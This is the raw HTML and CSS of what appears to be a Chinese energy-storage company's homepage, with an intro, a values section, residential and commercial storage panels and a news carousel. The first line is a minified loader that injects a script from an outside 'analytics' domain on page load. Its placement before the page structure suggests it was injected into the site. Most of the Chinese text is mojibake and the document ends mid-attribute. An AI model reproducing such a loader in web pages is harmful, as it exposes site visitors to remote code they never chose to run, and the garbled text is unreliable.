<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script>
<h2>èå绿è²è½æº</h2> <!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ææ ¼ä¼ä¸ä»ç»</title>
<style>
/* ç¬ç«å®¹å¨ï¼å®½åº¦100% + åºå®é«åº¦267px */
.intro-container {
background-color: #e9e9e9;
width: 100%;
height: 267px;
display: flex;
align-items: center; /* åç´å±
ä¸ */
justify-content: center; /* æ°´å¹³å±
ä¸ */
box-sizing: border-box;
padding: 0 20px;
}
/* æåå
å®¹ï¼æå¤§å®½åº¦1200px + ä¸å ç² + å°ä¸å·åä½ */
.intro-text {
max-width: 1200px;
width: 100%;
font-family: "Microsoft YaHei", sans-serif;
font-size: 20px; /* 缩å°ä¸å·ï¼ä»24px â 20px */
font-weight: normal; /* åæ¶å ç²ï¼æ£å¸¸åä½ */
line-height: 1.8;
color: #333333;
text-align: left;
}
</style>
</head>
<body>
é¸¿å®æ°è½æºæ¯ä¸å®¶ä¸æ³¨äºå
ä¼å¨è½ä¸çµåçµåé¢åçåæ°åä¼ä¸ï¼è´åäºä¸ºå
¨çå®¢æ·æä¾å®å
¨ã稳å®ã髿çè½æºäº§åä¸è§£å³æ¹æ¡ã便å¨éåå¨ãå¨è½ç³»ç»åè½æºç®¡çæ¹é¢çæç»ç å䏿æ¯ç§¯ç´¯ï¼æä»¬ä¸ææ¨å¨å®¶åºãå·¥åä¸å离ç½åºæ¯ç绿è²è½æºåºç¨è½å°ï¼ä»¥æ´å¯é ç产åãæ´ä¸ä¸çæå¡ï¼å©å客æ·å®ç°è½æºç¬ç«ä¸å¯æç»åå±ã
</body>
</html> <!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>æä»¬çä»·å¼è§</title>
<style>
/* ä»
ä½ç¨äºå½å容å¨å
é¨ï¼ä¸æ±¡æå
¨å±æ ·å¼ */
.values-container {
width: 100% !important;
height: 800px !important; /* åºå®é«åº¦800px */
background-color: #000000 !important;
position: relative !important;
overflow: hidden !important;
margin: 0 !important;
padding: 0 !important;
}
.values-wrapper {
width: 100% !important;
height: 100% !important;
display: flex !important;
flex-direction: column !important;
justify-content: center !important;
align-items: center !important;
padding: 0 !important; /* ç§»é¤å
è¾¹è·ï¼å½»åºæ¶é¤ç½è¾¹ */
position: relative !important;
}
.values-title {
color: #ffffff !important;
font-size: 48px !important;
font-weight: 600 !important;
text-align: center !important;
z-index: 999 !important;
position: absolute !important;
top: 60px !important;
left: 50% !important;
transform: translateX(-50%) !important;
margin: 0 !important; /* æ¸
é¤é»è®¤margin */
}
.letters-container {
display: flex !important;
align-items: center !important;
justify-content: center !important;
gap: 45px !important;
z-index: 10 !important;
margin-top: 0 !important;
}
.letter-item {
position: relative !important;
cursor: pointer !important;
display: flex !important;
flex-direction: column !important;
align-items: center !important;
justify-content: center !important;
width: auto !important;
height: auto !important;
}
.letter-bg-wrapper {
position: absolute !important;
top: 50% !important;
left: 50% !important;
transform: translate(-50%, -50%) !important;
width: 575px !important;
height: 420px !important;
overflow: hidden !important;
z-index: -1 !important;
pointer-events: none !important;
}
.letter-bg {
width: 100% !important;
height: 100% !important;
object-fit: cover !important;
opacity: 0 !important;
transition: opacity 0.4s ease-in-out !important;
}
/* æ¿æ´»ç¶æä¿çå¾çæ¾ç¤º */
.letter-item.active .letter-bg {
opacity: 1 !important;
}
.letter-bg-mask {
position: absolute !important;
top: 0 !important;
left: 0 !important;
width: 100% !important;
height: 100% !important;
background-color: #000000 !important;
opacity: 0.5 !important;
z-index: 1 !important;
transition: opacity 0.4s ease-in-out !important;
pointer-events: none !important;
opacity: 0 !important;
}
/* æ¿æ´»ç¶æä¿çé®ç½©æ¾ç¤º */
.letter-item.active .letter-bg-mask {
opacity: 0.5 !important;
}
.letter-text-main {
font-family: 'Rubik Lines', sans-serif !important;
font-size: 200px !important;
text-transform: uppercase !important;
line-height: 1 !important;
color: #ffffff !important;
transition: all 0.4s ease-in-out !important;
position: relative !important;
z-index: 2 !important;
}
/* æ¿æ´»ç¶æä¿çå®å¿åä½ */
.letter-item:hover .letter-text-main,
.letter-item.active .letter-text-main {
font-family: 'Montserrat', sans-serif !important;
font-weight: 700 !important;
color: #ffffff !important;
}
.letter-desc {
position: absolute !important;
top: 100% !important;
left: 50% !important;
transform: translateX(-50%) !important;
margin-top: 30px !important;
text-align: center !important;
color: #ffffff !important;
opacity: 0 !important;
transition: opacity 0.4s ease-in-out !important;
pointer-events: none !important;
white-space: nowrap !important;
z-index: 10 !important;
}
/* æ¿æ´»ç¶æä¿çæåæ¾ç¤º */
.letter-item:hover .letter-desc,
.letter-item.active .letter-desc {
opacity: 1 !important;
}
.letter-desc .en {
display: block !important;
font-size: 36px !important;
font-weight: 900 !important;
letter-spacing: 1px !important;
font-family: 'Montserrat', sans-serif !important;
text-transform: uppercase !important;
}
.letter-desc .zh {
display: block !important;
font-size: 28px !important;
font-weight: 700 !important;
margin-top: 8px !important;
}
/* ===== Elementor èªéåºä¿®å¤ï¼ä¸æ¹å设计ï¼ä»
鲿¢åºå®å°ºå¯¸æç ´ä¸åç»ç«¯ ===== */
img, video, iframe {
max-width: 100%;
}
/* ===== Elementor èªéåºä¿®å¤ï¼ä»·å¼è§æ¨¡å ===== */
.values-container {
height: auto !important;
min-height: clamp(620px, 50vw, 800px) !important;
overflow-x: hidden !important;
}
.values-wrapper {
max-width: min(1600px, 100%) !important;
padding-left: clamp(16px, 3vw, 40px) !important;
padding-right: clamp(16px, 3vw, 40px) !important;
}
.letters-container {
width: 100% !important;
}
.letter-item {
width: clamp(92px, 8.98vw, 172px) !important;
height: clamp(250px, 21.875vw, 420px) !important;
}
@media (max-width: 768px) {
.letters-container {
overflow-x: auto !important;
justify-content: flex-start !important;
}
.letter-item {
min-width: 110px !important;
}
}
/* ===== äºæ¬¡ä¿®æ£ï¼ç¬è®°æ¬ç«¯æ¯ä¾æ¶ç¼©ï¼ä¸ä½¿ç¨å
¨å± 75% ç¼©æ¾ ===== */
@media (min-width: 1025px) and (max-width: 1600px) {
.values-container {
min-height: clamp(560px, 42vw, 700px) !important;
}
.letter-item {
width: clamp(115px, 9vw, 150px) !important;
height: clamp(300px, 24vw, 380px) !important;
}
}
/* ===== äºæ¬¡ä¿®æ£ç»æ ===== */
/* ===== é¦é¡µä»·å¼è§æ¨¡åï¼ä»
éå¶èªèº«å®¹å¨ï¼ä¸å½±åå页å
¶å®æ¨¡å ===== */
.values-container,
.values-container * {
box-sizing: border-box !important;
}
.values-container {
height: auto !important;
min-height: clamp(620px, 50vw, 800px) !important;
overflow-x: hidden !important;
}
.values-wrapper {
max-width: min(1600px, 100%) !important;
}
.letter-item {
width: clamp(92px, 8.98vw, 172px) !important;
height: clamp(250px, 21.875vw, 420px) !important;
}
@media (min-width: 1025px) and (max-width: 1600px) {
.values-container {
min-height: clamp(560px, 42vw, 700px) !important;
}
.letter-item {
width: clamp(115px, 9vw, 150px) !important;
height: clamp(300px, 24vw, 380px) !important;
}
}
/* ===== é¦é¡µä»·å¼è§æ¨¡åç»æ ===== */
/* ===== é¦é¡µä»·å¼è§æ¨¡åæç»ä¿®æ£ï¼ç¬è®°æ¬ç«¯åæ¶æº¢åºå¹¶å±
ä¸ ===== */
@media (min-width: 1025px) and (max-width: 1600px) {
.values-container {
height: clamp(560px, 44vw, 760px) !important;
min-height: 0 !important;
}
.values-wrapper {
padding-left: clamp(12px, 1.8vw, 28px) !important;
padding-right: clamp(12px, 1.8vw, 28px) !important;
}
.values-title {
top: 44px !important;
font-size: clamp(34px, 3vw, 48px) !important;
}
.letters-container {
width: 100% !important;
max-width: min(1320px, 100%) !important;
gap: clamp(10px, 1.2vw, 20px) !important;
justify-content: center !important;
align-items: flex-start !important;
margin-top: clamp(30px, 4vw, 64px) !important;
}
.letter-item {
width: clamp(84px, 7.8vw, 132px) !important;
height: clamp(210px, 18vw, 320px) !important;
}
.letter-bg-wrapper {
width: clamp(300px, 32vw, 470px) !important;
height: clamp(220px, 23vw, 340px) !important;
}
.letter-text-main {
font-size: clamp(110px, 8.8vw, 172px) !important;
}
.letter-desc {
margin-top: clamp(18px, 1.5vw, 24px) !important;
}
.letter-desc .en {
font-size: clamp(20px, 1.7vw, 32px) !important;
}
.letter-desc .zh {
font-size: clamp(18px, 1.4vw, 24px) !important;
}
}
@media (min-width: 1025px) and (max-width: 1366px) {
.values-container {
height: clamp(520px, 42vw, 680px) !important;
}
.letters-container {
gap: clamp(8px, 0.9vw, 16px) !important;
}
.letter-item {
width: clamp(76px, 7vw, 112px) !important;
height: clamp(190px, 16.5vw, 280px) !important;
}
.letter-text-main {
font-size: clamp(92px, 7.2vw, 148px) !important;
}
}
/* ===== é¦é¡µä»·å¼è§æ¨¡åæç»ä¿®æ£ç»æ ===== */
/* ===== é¦é¡µä»·å¼è§æ¨¡åå°å¼ç«¯æ¢å¤ï¼å¤§å±æ¢å¤åçï¼ç¬è®°æ¬æç¼©å° ===== */
@media (min-width: 1601px), (min-width: 1367px) and (min-height: 850px) {
.values-container {
height: 800px !important;
min-height: 800px !important;
overflow: hidden !important;
}
.values-wrapper {
height: 100% !important;
max-width: 100% !important;
padding-left: 0 !important;
padding-right: 0 !important;
justify-content: center !important;
align-items: center !important;
}
.values-title {
top: 60px !important;
font-size: 48px !important;
}
.letters-container {
width: auto !important;
max-width: none !important;
gap: 45px !important;
justify-content: center !important;
align-items: center !important;
margin-top: 0 !important;
overflow: visible !important;
}
.letter-item {
width: auto !important;
height: auto !important;
}
.letter-bg-wrapper {
width: 575px !important;
height: 420px !important;
}
.letter-text-main {
font-size: 200px !important;
}
.letter-desc {
margin-top: 30px !important;
}
.letter-desc .en {
font-size: 36px !important;
}
.letter-desc .zh {
font-size: 28px !important;
}
}
@media (min-width: 1025px) and (max-width: 1600px) and (max-height: 849px) {
.values-container {
height: clamp(520px, 42vw, 680px) !important;
min-height: 0 !important;
}
.values-title {
top: 44px !important;
font-size: clamp(34px, 3vw, 48px) !important;
}
.letters-container {
width: 100% !important;
max-width: min(1320px, 100%) !important;
gap: clamp(8px, 0.9vw, 16px) !important;
justify-content: center !important;
align-items: flex-start !important;
margin-top: clamp(30px, 4vw, 64px) !important;
}
.letter-item {
width: clamp(76px, 7vw, 112px) !important;
height: clamp(190px, 16.5vw, 280px) !important;
}
.letter-bg-wrapper {
width: clamp(300px, 32vw, 470px) !important;
height: clamp(220px, 23vw, 340px) !important;
}
.letter-text-main {
font-size: clamp(92px, 7.2vw, 148px) !important;
}
}
/* ===== é¦é¡µä»·å¼è§æ¨¡åå°å¼ç«¯æ¢å¤ç»æ ===== */
</style>
<!– å¼å
¥åä½ –>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Rubik+Lines&family=Montserrat:wght@700;900&display=swap" rel="stylesheet">
</head>
<body>
<h2>æä»¬çä»·å¼è§</h2>
<!– æ°å¢é¼ æ è¿å
¥äºä»¶ï¼ä¿ç离å¼äºä»¶ –>
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/H-髿.png" alt="Hèæ¯å¾">
H
Alta eficiencia
髿
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/O-åè¶.png" alt="Oèæ¯å¾">
O
Excelente
åè¶
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/S-å®å
¨.png" alt="S1èæ¯å¾">
S
Seguro
å®å
¨
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/S-稳å®.png" alt="S2èæ¯å¾">
S
Estable
稳å®
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/O-æä¼.png" alt="O2èæ¯å¾">
O
Óptimo
æä¼
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/N-æ°è½æº.png" alt="Nèæ¯å¾">
N
Nueva energía
æ°è½æº
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/I-æºè½.png" alt="Ièæ¯å¾">
I
Inteligente
æºè½
<!– ä¼ååçJSï¼æ¬åç«å³æ¸
空ä¸ä¸ä¸ªææï¼åªæ¾ç¤ºå½å –>
</body>
</html>
<!– 已修æ¹ï¼èªéåºä¿®å¤çæ¬ãä¿çå页é¢å
容ãå¾çãé¢è²åå¸å±ï¼ä»
ä¿®å¤åºå®å®½é«ã溢åºå Elementor èªéåºå
¼å®¹é®é¢ã –> <!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>å
ä¼ä¸å¡æ¿å</title>
<style>
/* æå¤å±å®¹å¨ï¼åºå®é«åº¦800pxï¼å®½åº¦100%éºæ»¡ç¶çº§ */
.solar-container {
width: 100% !important;
height: 800px !important;
display: flex !important;
margin: 0 !important;
padding: 0 !important;
overflow: hidden !important;
background-color: #000 !important;
position: relative !important;
}
/* å个å¾ç模åï¼æ ¸å¿æ¯åç线æ»å¨ï¼åå§åå 50% */
.solar-item {
height: 100% !important;
position: relative !important;
overflow: hidden !important;
cursor: pointer !important;
flex: 50% !important; /* åå§ç»ä¸è®¾ä¸º50%ï¼ç®åæ ·å¼ */
transition: flex 0.6s cubic-bezier(0.25, 0.46, 0.45, 0.94) !important;
}
/* 左侧hoverï¼åé线å³ç§»ï¼å·¦ä¾§å 65%ï¼å³ä¾§å 35% */
.solar-item-left:hover {
flex: 65% !important;
}
/* 左侧hoveræ¶ï¼å³ä¾§èªå¨ç¼©ä¸º35% */
.solar-item-left:hover ~ .solar-item-right {
flex: 35% !important;
}
/* å³ä¾§hoverï¼åé线左移ï¼å³ä¾§å 65%ï¼å·¦ä¾§å 35% */
.solar-item-right:hover {
flex: 65% !important;
}
/* å³ä¾§hoveræ¶ï¼å·¦ä¾§èªå¨ç¼©ä¸º35% */
.solar-item-right:hover ~ .solar-item-left {
flex: 35% !important;
}
/* å¾ç设置ï¼éºæ»¡èªèº«å®¹å¨ï¼æ æä¼¸åå½¢ */
.solar-img {
width: 100% !important;
height: 100% !important;
object-fit: cover !important;
display: block !important;
}
/* å¾çæè²é®ç½©ï¼æåæåå¯è¯»æ§ */
.solar-mask {
position: absolute !important;
top: 0 !important;
left: 0 !important;
width: 100% !important;
height: 100% !important;
background-color: rgba(0, 0, 0, 0.25) !important;
z-index: 1 !important;
transition: background-color 0.4s ease !important;
}
.solar-item:hover .solar-mask {
background-color: rgba(0, 0, 0, 0.15) !important;
}
/* æå+æé®å
容å±ï¼åç´æ°´å¹³å±
ä¸ */
.solar-content {
position: absolute !important;
top: 50% !important;
left: 50% !important;
transform: translate(-50%, -50%) !important;
text-align: center !important;
z-index: 10 !important;
width: 90% !important;
}
/* æ é¢æåæ ·å¼ */
.solar-title {
color: #ffffff !important;
font-size: 48px !important;
font-weight: 700 !important;
margin: 0 0 30px 0 !important;
line-height: 1.2 !important;
letter-spacing: 1px !important;
}
/* æ¥çæ´å¤æé®æ ·å¼ */
.solar-btn {
display: inline-block !important;
padding: 10px 35px !important;
border: 1px solid #ffffff !important;
border-radius: 50px !important;
color: #ffffff !important;
font-size: 16px !important;
text-decoration: none !important;
transition: all 0.3s ease !important;
background-color: transparent !important;
}
.solar-btn:hover {
background-color: #ffffff !important;
color: #000000 !important;
}
/* ===== Elementor èªéåºä¿®å¤ï¼é¦é¡µæ·ç¨/å·¥åä¸å¨è½æ¨¡å ===== */
.solar-container {
width: 100% !important;
max-width: 100% !important;
height: clamp(520px, 41.67vw, 800px) !important;
min-height: 0 !important;
overflow: hidden !important;
}
.solar-item {
min-width: 0 !important;
}
.solar-img {
max-width: 100% !important;
height: 100% !important;
object-fit: cover !important;
}
.solar-title {
font-size: clamp(24px, 2.5vw, 48px) !important;
margin-bottom: clamp(18px, 1.56vw, 30px) !important;
overflow-wrap: break-word !important;
}
.solar-btn {
font-size: clamp(14px, 0.83vw, 16px) !important;
padding: clamp(8px, 0.52vw, 10px) clamp(22px, 1.82vw, 35px) !important;
white-space: nowrap !important;
}
@media (max-width: 768px) {
.solar-container {
height: clamp(420px, 110vw, 520px) !important;
}
.solar-content {
width: 94% !important;
}
}
/* ===== äºæ¬¡ä¿®æ£ï¼ç¬è®°æ¬ç«¯æ¯ä¾æ¶ç¼©ï¼ä¸ä½¿ç¨å
¨å± 75% ç¼©æ¾ ===== */
@media (min-width: 1025px) and (max-width: 1600px) {
.solar-container {
height: clamp(520px, 42vw, 690px) !important;
}
}
/* ===== äºæ¬¡ä¿®æ£ç»æ ===== */
</style>
</head>
<body>
<!– 左侧 æ·ç¨å¨è½ –>
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/Residential-Energy-Storage.png" alt="ç¨æ·å¨è½">
<h3>æ·ç¨å¨è½</h3>
<a href="/es/solutions/" style="color:#fff !important">æ¥çæ´å¤</a> <!– 已廿 target="_blank" –>
<!– å³ä¾§ å·¥åä¸å¨è½ –>
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/Commercial-and-Industrial-Photovoltaic.png" alt="å°é¢çµç«">
<h3>å·¥åä¸å¨è½</h3>
<a href="/es/commercial-energy-storage/" style="color:#fff !important">æ¥çæ´å¤</a> <!– 已廿 target="_blank" –>
</body>
</html>
<!– 已修æ¹ï¼èªéåºä¿®å¤çæ¬ãä¿çå页é¢å
容ãå¾çãé¢è²ã左峿åå hover ææï¼ä»
ä¿®å¤åºå®é«åº¦ä¸ä¸åç»ç«¯æ¯ä¾é®é¢ã –> <style>
/* å®å
¨éç¦»çææºç«¯æ ·å¼ï¼ä¸å½±åå
¨å± */
.mobile-news-container {
width: 100% !important;
background-color: #e9e9e9 !important;
margin: 0 !important;
padding: 30px 0 40px 0 !important;
box-sizing: border-box !important;
font-family: inherit !important;
}
.mobile-news-content {
width: 100% !important;
max-width: 100% !important;
margin: 0 auto !important;
padding: 0 16px !important;
display: flex !important;
flex-direction: column !important;
gap: 20px !important;
position: relative !important;
}
.mobile-news-title {
font-size: 24px !important;
font-weight: 700 !important;
color: #222222 !important;
margin: 0 !important;
text-align: left !important;
line-height: 1.2 !important;
}
/* ææºç«¯è½®æå®¹å¨ */
.mobile-carousel-wrapper {
width: 100% !important;
position: relative !important;
overflow: hidden !important;
border-radius: 8px !important;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08) !important;
}
.mobile-news-carousel {
width: 100% !important;
position: relative !important;
overflow: hidden !important;
}
.mobile-carousel-track {
display: flex !important;
transition: transform 0.5s cubic-bezier(0.25, 0.46, 0.45, 0.94) !important;
touch-action: pan-y pinch-zoom !important; /* å
许åç´æ»å¨ååæç¼©æ¾ */
}
/* ææºç«¯å个轮æé¡¹ï¼åç´å¸å± */
.mobile-carousel-item {
width: 100% !important;
flex-shrink: 0 !important;
display: flex !important;
flex-direction: column !important;
background-color: #ffffff !important;
}
/* ææºç«¯ï¼å¾çå¨ä¸ï¼æåå¨ä¸ */
.mobile-news-img {
width: 100% !important;
height: 200px !important;
overflow: hidden !important;
}
.mobile-news-img img {
width: 100% !important;
height: 100% !important;
object-fit: cover !important;
display: block !important;
}
.mobile-news-text {
width: 100% !important;
padding: 20px !important;
box-sizing: border-box !important;
display: flex !important;
flex-direction: column !important;
}
.mobile-news-date {
font-size: 14px !important;
color: #888888 !important;
margin: 0 0 12px 0 !important;
line-height: 1 !important;
}
.mobile-news-item-title {
font-size: 18px !important;
font-weight: 700 !important;
color: #222222 !important;
margin: 0 0 12px 0 !important;
line-height: 1.4 !important;
}
.mobile-news-desc {
font-size: 14px !important;
color: #555555 !important;
line-height: 1.5 !important;
margin: 0 0 16px 0 !important;
word-break: break-word !important;
display: -webkit-box !important;
-webkit-line-clamp: 4 !important;
-webkit-box-orient: vertical !important;
overflow: hidden !important;
}
.mobile-news-more-btn {
font-size: 14px !important;
color: #222222 !important;
text-decoration: none !important;
display: inline-flex !important;
align-items: center !important;
gap: 5px !important;
transition: color 0.3s ease !important;
width: fit-content !important;
align-self: flex-end !important;
}
.mobile-news-more-btn:hover {
color: #009688 !important;
}
/* ææºç«¯è½®æç®å¤´ï¼ç§»å°å
é¨åºé¨ */
.mobile-carousel-arrow {
position: absolute !important;
bottom: 15px !important;
width: 36px !important;
height: 36px !important;
border-radius: 50% !important;
background-color: rgba(255, 255, 255, 0.95) !important;
border: none !important;
font-size: 16px !important;
font-weight: 700 !important;
color: #222222 !important;
cursor: pointer !important;
z-index: 999 !important;
display: flex !important;
align-items: center !important;
justify-content: center !important;
transition: all 0.3s ease !important;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1) !important;
-webkit-tap-highlight-color: transparent !important;
}
.mobile-arrow-prev {
left: 15px !important;
}
.mobile-arrow-next {
right: 15px !important;
}
/* ææºç«¯è½®æåç¹æç¤ºå¨ */
.mobile-carousel-dots {
display: flex !important;
align-items: center !important;
justify-content: center !important;
gap: 8px !important;
margin: 0 !important;
padding: 10px 0 !important;
}
.mobile-dot-item {
width: 8px !important;
height: 8px !important;
border-radius: 50% !important;
background-color: #aaaaaa !important;
cursor: pointer !important;
transition: all 0.3s ease !important;
border: none !important;
padding: 0 !important;
-webkit-tap-highlight-color: transparent !important;
}
.mobile-dot-item.active {
background-color: #009688 !important;
transform: scale(1.2) !important;
}
/* ææºç«¯æ´å¤æ°é»æé® */
.mobile-more-news-btn {
display: inline-block !important;
padding: 10px 30px !important;
border: 1px solid #666666 !important;
border-radius: 50px !important;
color: #666666 !important;
font-size: 14px !important;
text-decoration: none !important;
margin: 10px auto 0 !important;
transition: all 0.3s ease !important;
background-color: transparent !important;
text-align: center !important;
}
.mobile-more-news-btn:hover {
background-color: #222222 !important;
color: #ffffff !important;
border-color: #222222 !important;
}
/* ç¡®ä¿åªå¨ææºç«¯æ¾ç¤ºï¼å¹³æ¿åæ¡é¢ç«¯éè */
@media (min-width: 769px) {
.mobile-news-container {
display: none !important;
}
}
</style>
<!– æ é¢ï¼æ°é»å¨æ –>
<h2>æ°é»å¨æ</h2>
<!– è½®æå
è£¹å®¹å¨ –>
<!– å·¦æ»å¨æé® –>
<button id="mobilePrevBtn"><</button>
<!– è½®ææ ¸å¿åºå –>
<!– è½®æè½¨éï¼4个æ»å¨å –>
<!– 第1个轮æå –>
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/xinwen1.png" alt="æ°é»é
å¾1">
2024-07-01
<h3>鸿å®å
ä¼éåå¨è·å¾ CQC太é³è½äº§å认è¯è¯ä¹¦</h3>
<p>åç»å¤å¹´èªä¸»å¼åï¼ç产çå
ä¼éåå¨ï¼2024å¹´4æï¼ç±é¸¿å®çµæºæéå
¬å¸ç³è¯·ï¼æµæ±é¸¿å®æ°è½æºæéå
¬å¸ç产çåå·ä¸ºHBG-T25KãHBG-T23KãHBG-T20KãHBG-T17KãHBG-T15Kçå
ä¼éåå¨äº§åéè¿å½å®¶èè½äº§åè´¨éæ£éªæ£æµä¸å¿ãå½å®¶è¾é
çµè®¾å¤è´¨éæ£éªæ£æµä¸å¿ãå±±ä¸ç产åè´¨éæ£éªç ç©¶é¢æµè¯ï¼å¹¶æµè¯åæ ¼ã</p>
<a href="/es/?p=189" target="_blank">äºè§£æ´å¤ â</a>
<!– 第2个轮æå –>
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/1740788963747332.png" alt="æ°é»é
å¾2">
2026-02-28
<h3>æå¸å次è£è·"髿°ææ¯ä¼ä¸"ã"ææä¼ä¸"çæ®è£</h3>
<p>æå¸å次æ¶å°ç±æµæ±çç§å¦ææ¯å
ãæµæ±çè´¢æ¿å±ãæµæ±çå½å®¶ç¨å¡å±åæµæ±çå°æ¹ç¨å¡å±èåé¢åç"髿°ææ¯ä¼ä¸"è¯ä¹¦ï¼ 该è¯ä¹¦æææä¸å¹´ãå½å®¶é«æ°ææ¯ä¼ä¸é¨æ§è¾é«ï¼è®¤å®é¡»ç»è¿ä¸¥æ ¼çæµè¯å审æ¹ç¨åºï¼é¸¿å®çµæºååè¿ç¡¬çææ¯å®å忬¡è£è·é«æ°ææ¯ä¼ä¸ï¼è¿æ å¿çæå¸å¨ç åååæ°æ¹é¢å¾å°å½å®¶ç¸å
³é¨é¨çè¯å®ä¸è®¤å¯ã</p>
<a href="/es/?p=264" target="_blank">äºè§£æ´å¤ â</a>
<!– 第3个轮æå –>
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/é¦é¡µ-1-scaled.jpg" alt="æ°é»é
å¾3">
2026-01-15
<h3>3000+产åè¦ç150å½ï¼é¸¿å®çµæºååå¹´æ·±èåè·"åºå£å强ä¼ä¸"çè£èª</h3>
<p>鸿å®çµæºï¼ååå¹´æ·±èï¼è¡ä¸è¶åï¼åæ°é©±å¨å¼é¢æ°è½æºé©å½ãè¿æ¥ï¼é¸¿å®çµæºæéå
¬å¸ååå
¶åè¶çè¡ä¸è´¡ç®ãé¢å
çææ¯å®å以å强å²çå
¨çåç«äºåï¼å度è£è·æ¿åºæäºç"ææä¼ä¸"ã"éç¹ä¼ä¸"å"åºå£å强ä¼ä¸"ä¸é¡¹æ®è£ãè¿ä¸è£èªä¸ä»
æ¯å¯¹å
¬å¸ååå¹´æ¥ä¸æ³¨çµæºé¢åçæ·±èä¸ç§¯ç´¯çé«åº¦è¯å®ï¼æ´æ¯å¯¹å
¶ä»¥åæ°é©±å¨åå±ã以åè´¨é¸å°±åçæç¥çå
å认å¯ã</p>
<a href="/es/?p=235" target="_blank">äºè§£æ´å¤ â</a>
<!– 第4个轮æå –>
<img src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/04/é¦é¡µ-7-scaled.jpg" alt="æ°é»é
å¾4">
2025-12-20
<h3>ä¸å½æ´å©-ä¹å
¹å«å
æ¯å¦æè²é¡¹ç®é¸¿å®ç¨³åçµæºé¡ºå©äº¤ä»</h3>
<p>ä¹å
¹å«å
æ¯å¦é¦é½å¡ä»å¹²ä¸æå¦æ ¡çæå®¤éï¼ä¸å°å°å´æ°ççµèææ¾æ´é½ï¼äº¤æµç¨³åçµæºãçµåç½æ¿ãæå½±ä»ªã空è°ä¸é½æ"ä¸å½æ´å©"çåæ ·â¦â¦ä¸å人æ°å
±åå½åå¡é¨æ´ãä¹å
¹å«å
æ¯å¦ä¸å¦5-9å¹´çº§ä¿¡æ¯ææ¯åå¤è¯æå¦è®¾å¤äºæé¡¹ç®ã顺å©å®æ½éªæ¶ã</p>
<a href="/es/?p=256" target="_blank">äºè§£æ´å¤ â</a>
<!– 峿»å¨æé® –>
<button id="mobileNextBtn">></button>
<!– è½®æåç¹æç¤ºå¨ –>
<button data-index="0"></button>
<button data-index="1"></button>
<button data-index="2"></button>
<button data-index="3"></button>
<!– æ´å¤æ°é»æé® –>
<a href="/es/?page_id=183" target="_blank">æ´å¤æ°é»</a>
<img
data-interaction-id="1ff15588"
id="1569"
src="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/05/96.png"
width="2172"
height="724"
srcset="https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:auto/h:auto/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/05/96.png 2172w, https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:300/h:100/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/05/96.png 300w, https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:1024/h:341/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/05/96.png 1024w, https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:768/h:256/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/05/96.png 768w, https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:1536/h:512/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/05/96.png 1536w, https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:1920/h:640/q:mauto/f:best/https://hossoni-ess.com/wp-content/uploads/2026/05/96.png 2048w, 